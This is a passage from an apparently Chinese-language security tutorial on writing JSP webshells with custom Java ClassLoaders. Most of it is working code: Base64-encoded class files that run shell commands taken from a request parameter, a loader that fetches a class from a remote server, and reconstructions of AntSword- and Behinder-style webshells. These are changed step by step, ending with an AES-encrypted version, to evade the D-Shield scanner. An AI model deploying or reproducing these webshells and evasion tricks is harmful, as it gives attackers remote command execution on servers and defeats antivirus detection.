AKgAA/AAZBwAlACsAAAAEAAEALAABAC0AAAACAC4=";
- byte[] bytes = Base64.getDecoder().decode(classStr);
- return super.defineClass(bytes, 0, bytes.length);
- }
- }
- DemoClassload demoClassload = new DemoClassload();
- Class> aClass = demoClassload.loadClass("com.atguigu.test.Test");
- Object o = aClass.newInstance();
- Method demo1 = aClass.getMethod("Eval",String.class);
- Object invoke = demo1.invoke(o,cmd);
- String s = invoke.toString();
- out.println(s);
-
- }
- } catch (Exception e) {
- out.println(e);
- }
- %>
java.net.URLClassLoader.class
该类加载器可以从网络上指定的位置加载类。我们把编译好的class字节码文件放在远程服务器上,让URLClassLoader
去加载该class。
代码如下:
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
- <%@ page import="java.lang.reflect.Method" %>
- <%@ page import="java.net.URLClassLoader" %>
- <%@ page import="java.net.URL" %>
-
- <%
- try {
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if (cmd != null) {
- URL url = new URL("http://10.211.55.2:8000/");
- URLClassLoader test1 = new URLClassLoader(new URL[]{url});
- Class> aClass = test1.loadClass("com.atguigu.test.Test");
- Object o = aClass.newInstance();
- Method demo1 = aClass.getMethod("Eval",String.class);
- Object invoke = demo1.invoke(o,cmd);
- String s = invoke.toString();
- out.println(s);
- }
- } catch (Exception e) {
- out.println(e);
- }
- %>
访问也可正常执行命令。
上面编写过程主要还是用到defineClass()
方法,那就意味着可以不写类名称来达到同样的效果。
-
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
- import java.util.Base64;
- /**
- * @author cseroad
- */
-
- public class DemoClassload {
- public static class Myloader extends ClassLoader{
- public Class get()
- {
- String classStr = "yv66vgAAADcAZwoAGgA7CAA8BwA9CgADADsKAD4APwcAQAgAQQgAQgoAPgBDCgA1AEQHAEUIAEYKAAsARwcASAoADgBJCgAOAEoKAAMASwgATAoAAwBNCgAOAE4KAAsATgoANgBOCgA1AE8KAFAATgcAUQcAUgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9hdGd1aWd1L3Rlc3QvVGVzdDsBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHdmFyX3N0cgEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAFwAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABWlucHV0AQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQADaW5zAQAbTGphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXI7AQACYnIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQAEdmFycwEADVN0YWNrTWFwVGFibGUHAFMHAFQBAApFeGNlcHRpb25zBwBVAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAGwAcAQANaGVsbG8gY3Nlcm9hZAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyBwBWDABXAFgBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMMAFkAWgwAWwBcAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBdAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBeDABfACMMAGAAYQEAAQoMAGIAIwwAYwAcDABkAGUHAGYBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAvAAEAAQAAAAUqtwABsQAAAAIAHgAAAAYAAQAAAAwAHwAAAAwAAQAAAAUAIAAhAAAAAQAiACMAAQAdAAAALQABAAEAAAADEgKwAAAAAgAeAAAABgABAAAADgAfAAAADAABAAAAAwAgACEAAAABACQAJQACAB0AAAFMAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAADAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgAB8AAABcAAkAAAB4ACAAIQAAAAAAeAAmACcAAQAIAHAAKAApAAIAIQBXACoAKwADACcAUQAsAC0ABAA0AEQALgAvAAUAPwA5ADAAMQAGAEcAMQAyACcABwBfABkAMwAnAAgANAAAACQAAv8APwAHBwAZBwAGBwADBwA1BwA2BwALBwAOAAD8ABkHAAYANwAAAAQAAQA4AAEAOQAAAAIAOg==";
- byte[] bytes = Base64.getDecoder().decode(classStr);
- return super.defineClass(bytes, 0, bytes.length);
- }
- }
-
- public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
- Myloader myloader = new Myloader();
- Class aClass = myloader.get();
- Object o = aClass.newInstance();
- Method demo1 = aClass.getMethod("Eval",String.class);
- Object invoke = demo1.invoke(o,"whoami");
- String s = invoke.toString();
- System.out.println(s);
- }
-
- }
选择自定义一个get的方法,来接收byte数组类型的参数,然后调用父类的defineClass()
方法去解析byte数据,并返回解析后的Class。
对应jsp脚本为:
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
- <%@ page import="java.lang.reflect.Method" %>
- <%@ page import="java.util.Base64" %>
-
- <%
- try {
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if (cmd != null) {
- class Myloader extends ClassLoader {
- public Class get() {
- String classStr = "yv66vgAAADQAXQoAGgAvCAAwBwAxCgADAC8KADIAMwcANAgANQgANgoAMgA3CgA4ADkHADoIADsKAAsAPAcAPQoADgA+CgAOAD8KAAMAQAgAQQoAAwBCCgAOAEMKAAsAQwoARABDCgA4AEUKAEYAQwcARwcASAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVEZW1vMQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAERXZhbAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcARwcANAcAMQcASQcASgcAOgcAPQEACkV4Y2VwdGlvbnMHAEsBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAbABwBAA1oZWxsbyBjc2Vyb2FkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAEwMAE0ATgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAE8AUAcASQwAUQBSAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgEAA0dCSwwAGwBTAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBUDABVACAMAFYAVwEAAQoMAFgAIAwAWQAcBwBKDABaAFsHAFwBABVjb20vYXRndWlndS90ZXN0L1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhABkAGgAAAAAAAwABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAwAAQAfACAAAQAdAAAAGwABAAEAAAADEgKwAAAAAQAeAAAABgABAAAADgABACEAIgACAB0AAADqAAUACQAAAHi7AANZtwAETbgABQa9AAZZAxIHU1kEEghTWQUrU7YACU4ttgAKOgS7AAtZGQQSDLcADToFuwAOWRkFtwAPOgYZBrYAEFk6B8YAEiwZB7YAERIStgARV6f/6Sy2ABM6CBkGtgAUGQW2ABUZBLYAFi22ABe2ABgZCLAAAAACAB4AAAA2AA0AAAASAAgAEwAhABQAJwAVADQAFgA/ABgASgAZAFkAGwBfABwAZAAdAGkAHgBuAB8AdQAgACMAAAAkAAL/AD8ABwcAJAcAJQcAJgcAJwcAKAcAKQcAKgAA/AAZBwAlACsAAAAEAAEALAABAC0AAAACAC4=";
- byte[] bytes = Base64.getDecoder().decode(classStr);
- return super.defineClass(bytes, 0, bytes.length);
- }
- }
-
- Myloader myloader = new Myloader();
- Class aClass = myloader.get();
- Object o = aClass.newInstance();
- Method demo1 = aClass.getMethod("Eval", String.class);
- Object invoke = demo1.invoke(o,cmd);
- String s = invoke.toString();
- out.println(s);
- }
- } catch (Exception e) {
- out.println(e);
- }
- %>
那如果想不用反射调用指定的方法,就让它执行命令呢?
我们获取的对象object类本身就有很多方法,那我们对应把恶意类Eval(String cmd)
重命名为equals(obj)
即可,在接收参数的时候强制转换String类型为obj。
恶意类代码如下:
- package com.atguigu.test;
-
- import java.io.BufferedReader;
- import java.io.InputStream;
- import java.io.InputStreamReader;
-
- /**
- * @author cseroad
- */
-
- public class Test {
-
- @Override
- public boolean equals(Object obj) {
- String cmd = obj.toString();
- try {
- this.CMD(cmd);
- } catch (Exception e) {
- e.printStackTrace();
- }
- return true;
- }
- private String CMD(String cmd) throws Exception {
- StringBuilder var_str = new StringBuilder();
- Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
- InputStream input = p.getInputStream();
- InputStreamReader ins = new InputStreamReader(input, "GBK");
- BufferedReader br = new BufferedReader(ins);
- String line;
- while ((line = br.readLine()) != null) {
- var_str.append(line).append("\n");
- }
- String vars = var_str.toString();
- System.out.println(vars);
- br.close();
- ins.close();
- input.close();
- p.getOutputStream().close();
- return vars;
- }
- }
恶意类加载器代码如下:
- package com.atguigu.test;
-
- import java.lang.reflect.InvocationTargetException;
- import java.util.Base64;
- /**
- * @author cseroad
- */
-
- public class DemoClassload {
- public static class Myloader extends ClassLoader{
- public Class get()
- {
- String classStr = "yv66vgAAADcAfwoAIABGCABHCgAgAEgKAB8ASQcASgoABQBLBwBMCgAHAEYKAE0ATgcATwgAUAgAUQoATQBSCgBBAFMHAFQIAFUKAA8AVgcAVwoAEgBYCgASAFkKAAcAWggAWwoABwBICQBcAF0KAF4AXwoAEgBgCgAPAGAKAEIAYAoAQQBhCgBiAGAHAGMHAGQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAF0xjb20vYXRndWlndS90ZXN0L1Rlc3Q7AQAFRGVtbzEBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlAQADQ01EAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAd2YXJfc3RyAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAFaW5wdXQBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpbnMBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAR2YXJzBwBlBwBmAQAKRXhjZXB0aW9ucwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMACEAIgEADWhlbGxvIGNzZXJvYWQMAGcAKQwAMwA0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAaAAiAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAGkMAGoAawEAEGphdmEvbGFuZy9TdHJpbmcBAAkvYmluL2Jhc2gBAAItYwwAbABtDABuAG8BABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAhAHABABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAhAHEMAHIAKQwAcwB0AQABCgcAdQwAdgB3BwB4DAB5AHoMAHsAIgwAfAB9BwB+AQAVY29tL2F0Z3VpZ3UvdGVzdC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEACHRvU3RyaW5nAQAPcHJpbnRTdGFja1RyYWNlAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhAB8AIAAAAAAABAABACEAIgABACMAAAAvAAEAAQAAAAUqtwABsQAAAAIAJAAAAAYAAQAAAAwAJQAAAAwAAQAAAAUAJgAnAAAAAQAoACkAAQAjAAAALQABAAEAAAADEgKwAAAAAgAkAAAABgABAAAADgAlAAAADAABAAAAAwAmACcAAAABACoAKwABACMAAACVAAIABAAAABUrtgADTSostgAEV6cACE4ttgAGBKwAAQAFAAsADgAFAAMAJAAAABoABgAAABMABQAVAAsAGAAOABYADwAXABMAGQAlAAAAKgAEAA8ABAAsAC0AAwAAABUAJgAnAAAAAAAVAC4ALwABAAUAEAAwADEAAgAyAAAAFgAC/wAOAAMHAB8HACAHAAoAAQcABQQAAgAzADQAAgAjAAABWAAFAAkAAACAuwAHWbcACE24AAkGvQAKWQMSC1NZBBIMU1kFK1O2AA1OLbYADjoEuwAPWRkEEhC3ABE6BbsAElkZBbcAEzoGGQa2ABRZOgfGABIsGQe2ABUSFrYAFVen/+kstgAXOgiyABgZCLYAGRkGtgAaGQW2ABsZBLYAHC22AB22AB4ZCLAAAAADACQAAAA6AA4AAAAcAAgAHQAhAB4AJwAfADQAIAA/ACIASgAjAFkAJQBfACYAZwAnAGwAKABxACkAdgAqAH0AKwAlAAAAXAAJAAAAgAAmACcAAAAAAIAAMAAxAAEACAB4ADUANgACACEAXwA3ADgAAwAnAFkAOQA6AAQANABMADsAPAAFAD8AQQA9AD4ABgBHADkAPwAxAAcAXwAhAEAAMQAIADIAAAAkAAL/AD8ABwcAHwcACgcABwcAQQcAQgcADwcAEgAA/AAZBwAKAEMAAAAEAAEABQABAEQAAAACAEU=";
- byte[] bytes = Base64.getDecoder().decode(classStr);
- return super.defineClass(bytes, 0, bytes.length);
- }
- }
-
- public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
- Myloader myloader = new Myloader();
- Class aClass = myloader.get();
- Object o = aClass.newInstance();
- Object obj = "ifconfig";
- boolean equals = o.equals(obj);
- System.out.println(equals);
- }
-
- }
同样修改命令、重新编译、改为jsp页面。
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
- <%@ page import="java.lang.reflect.Method" %>
- <%@ page import="java.util.Base64" %>
-
- <%
- try {
- out.print(System.getProperty("os.name").toLowerCase());
- String cmd = request.getParameter("cmd");
- if (cmd != null) {
- class Myloader extends ClassLoader {
- public Class get() {
- String classStr = "yv66vgAAADQAcAoAHwA1CgAfADYKAB4ANwcAOAoABAA5BwA6CgAGADUKADsAPAcAPQgAPggAPwoAOwBACgBBAEIHAEMIAEQKAA4ARQcARgoAEQBHCgARAEgKAAYASQgASgoABgA2CQBLAEwKAE0ATgoAEQBPCgAOAE8KAFAATwoAQQBRCgBSAE8HAFMHAFQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAUwcAVAcAPQcAOAEAA0NNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwA6BwBVBwBWBwBDBwBGAQAKRXhjZXB0aW9ucwEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMACAAIQwAVwBYDAArACwBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABZACEBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcAWgwAWwBcAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAXQBeBwBVDABfAGABABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAgAGEBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAgAGIMAGMAWAwAZABlAQABCgcAZgwAZwBoBwBpDABqAGsMAGwAIQcAVgwAbQBuBwBvAQAVY29tL2F0Z3VpZ3UvdGVzdC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAA9wcmludFN0YWNrVHJhY2UBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVjbG9zZQEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEAFGphdmEvaW8vT3V0cHV0U3RyZWFtACEAHgAfAAAAAAADAAEAIAAhAAEAIgAAAB0AAQABAAAABSq3AAGxAAAAAQAjAAAABgABAAAACwABACQAJQABACIAAABlAAIABAAAABUrtgACTSostwADV6cACE4ttgAFBKwAAQAFAAsADgAEAAIAIwAAABoABgAAAA8ABQARAAsAFAAOABIADwATABMAFQAmAAAAFgAC/wAOAAMHACcHACgHACkAAQcAKgQAAgArACwAAgAiAAAA9gAFAAkAAACAuwAGWbcAB024AAgGvQAJWQMSClNZBBILU1kFK1O2AAxOLbYADToEuwAOWRkEEg+3ABA6BbsAEVkZBbcAEjoGGQa2ABNZOgfGABIsGQe2ABQSFbYAFFen/+kstgAWOgiyABcZCLYAGBkGtgAZGQW2ABoZBLYAGy22ABy2AB0ZCLAAAAACACMAAAA6AA4AAAAYAAgAGQAhABoAJwAbADQAHAA/AB4ASgAfAFkAIQBfACIAZwAjAGwAJABxACUAdgAmAH0AJwAmAAAAJAAC/wA/AAcHACcHACkHAC0HAC4HAC8HADAHADEAAPwAGQcAKQAyAAAABAABAAQAAQAzAAAAAgA0";
- byte[] bytes = Base64.getDecoder().decode(classStr);
- return super.defineClass(bytes, 0, bytes.length);
- }
- }
-
- Myloader myloader = new Myloader();
- Class aClass = myloader.get();
- Object o = aClass.newInstance();
- Object obj = cmd;
- boolean equals = o.equals(obj);
- out.println(equals);
- }
- } catch (Exception e) {
- out.println(e);
- }
- %>
因为equals()
方法返回值只为true或false,输出结果会在cmd终端里。
对比我们写的用来命令执行的自定义类加载器,会发现我们当前的class字节码文件是在编译后传入的,只用来命令执行。而命令执行只属于冰蝎的一个功能点。
1、那总不能每次实现一个功能都要编译后再传入吧。
冰蝎使用了ASM框架来动态修改class文件中的属性值,具体代码实现在\net\rebeyond\behinder\core\Params.java
下的getParamedClass
方法,这样参数直接传入class字节码文件就可以了。
以蚁剑为例,将执行命令的数据包截取。
传入的pass
值是经过base64编码后的,将其解码并反编译。
那对应的request
对象也只是其中一个,还有Response
,Session
等对象。
2、那有没有办法可以同时获取这几个对象呢?
传递pageContext,可以间接获取这几个对象。
HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
此时我们的代码调整为:
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
-
- <%
- try {
- class Myloader extends ClassLoader {
- public Class get(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
- String classStr = request.getParameter("pass");
- Myloader myloader = new Myloader();
- byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
- Class aClass = myloader.get(bytes);
- Object o = aClass.newInstance();
- boolean equals = o.equals(pageContext);
- out.println(equals);
- } catch (Exception e) {
- out.println(e);
- }
- %>
蚁剑连接,就会出现java.lang.NoClassDefFoundError
错误。
这个错误冰蝎也有提到,是因为自定义的ClassLoader和Request、Response、Seesion的ClassLoader不是同一个。复写ClassLoader的构造函数可以解决该问题。
代码随即变为,也就是蚁剑的webshell。
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
-
- <%
- try {
- class Myloader extends ClassLoader {
- Myloader(ClassLoader c) {
- super(c);
- }
- public Class get(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
- String classStr = request.getParameter("pass");
- Myloader myloader = new Myloader(this.getClass().getClassLoader());
- byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
- Class aClass = myloader.get(bytes);
- Object o = aClass.newInstance();
- boolean equals = o.equals(pageContext);
- out.println(equals);
- } catch (Exception e) {
- out.println(e);
- }
- %>
该代码在D盾依然可被查杀。查杀关键位置在:
this.getClass().getClassLoader()、newInstance() 两个位置
使用:
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
替换:
this.getClass().getClassLoader()
即可免杀。
代码如下:
- <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
-
- <%
- try {
- class Myloader extends ClassLoader {
- Myloader(ClassLoader c) {
- super(c);
- }
- public Class get(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
- String classStr = request.getParameter("pass");
- ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
- Myloader myloader = new Myloader(contextClassLoader);
- byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
- Class aClass = myloader.get(bytes);
- Object o = aClass.newInstance();
- boolean equals = o.equals(pageContext);
- out.println(equals);
- } catch (Exception e) {
- out.println(e);
- }
- %>
冰蝎的webshell在此基础上添加了AES加密,并且采用session存储来作为通信的会话。不过依然会被查杀。主要查杀点在AES加密上,使用反射实现AES加密。
代码如下:
- <%!
- public byte[] AesEncode(String Strings,String k) {
- try {
- byte[] encryptedData = java.util.Base64.getDecoder().decode(Strings);
- Class> aClass = Class.forName("javax.crypto.spec.SecretKeySpec");
- java.lang.reflect.Constructor> constructor = aClass.getConstructor(byte[].class, String.class);
- javax.crypto.spec.SecretKeySpec skeySpec = (javax.crypto.spec.SecretKeySpec) constructor.newInstance(k.getBytes(), "AES");
- javax.crypto.Cipher ciphers = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
- ciphers.init(javax.crypto.Cipher.DECRYPT_MODE, skeySpec);
- Class> aClass1 = ciphers.getClass();
- java.lang.reflect.Method method = aClass1.getDeclaredMethod("doFinal", new Class[]{byte[].class});
- Object invoke = method.invoke(ciphers, new Object[]{encryptedData});
- byte[] result = (byte[]) invoke;
- return result;
- } catch (Exception e) {
- e.printStackTrace();
- return null;
- }
- }
- %>
- <%
- try {
- class Myloader extends ClassLoader {
- Myloader(ClassLoader c) {
- super(c);
- }
-
- public Class get(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
- String k = "1a1dc91c907325c6";
- session.putValue("u", k);
- String Strings = request.getReader().readLine();
- ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
- Myloader myloader = new Myloader(contextClassLoader);
- byte[] aesencode = AesEncode(Strings,k);
- Class aClass = myloader.get(aesencode);
- Object o = aClass.newInstance();
- boolean equals = o.equals(pageContext);
- out.println(equals);
- } catch (Exception e) {
- out.println(e);
- }
- %>
可成功免杀。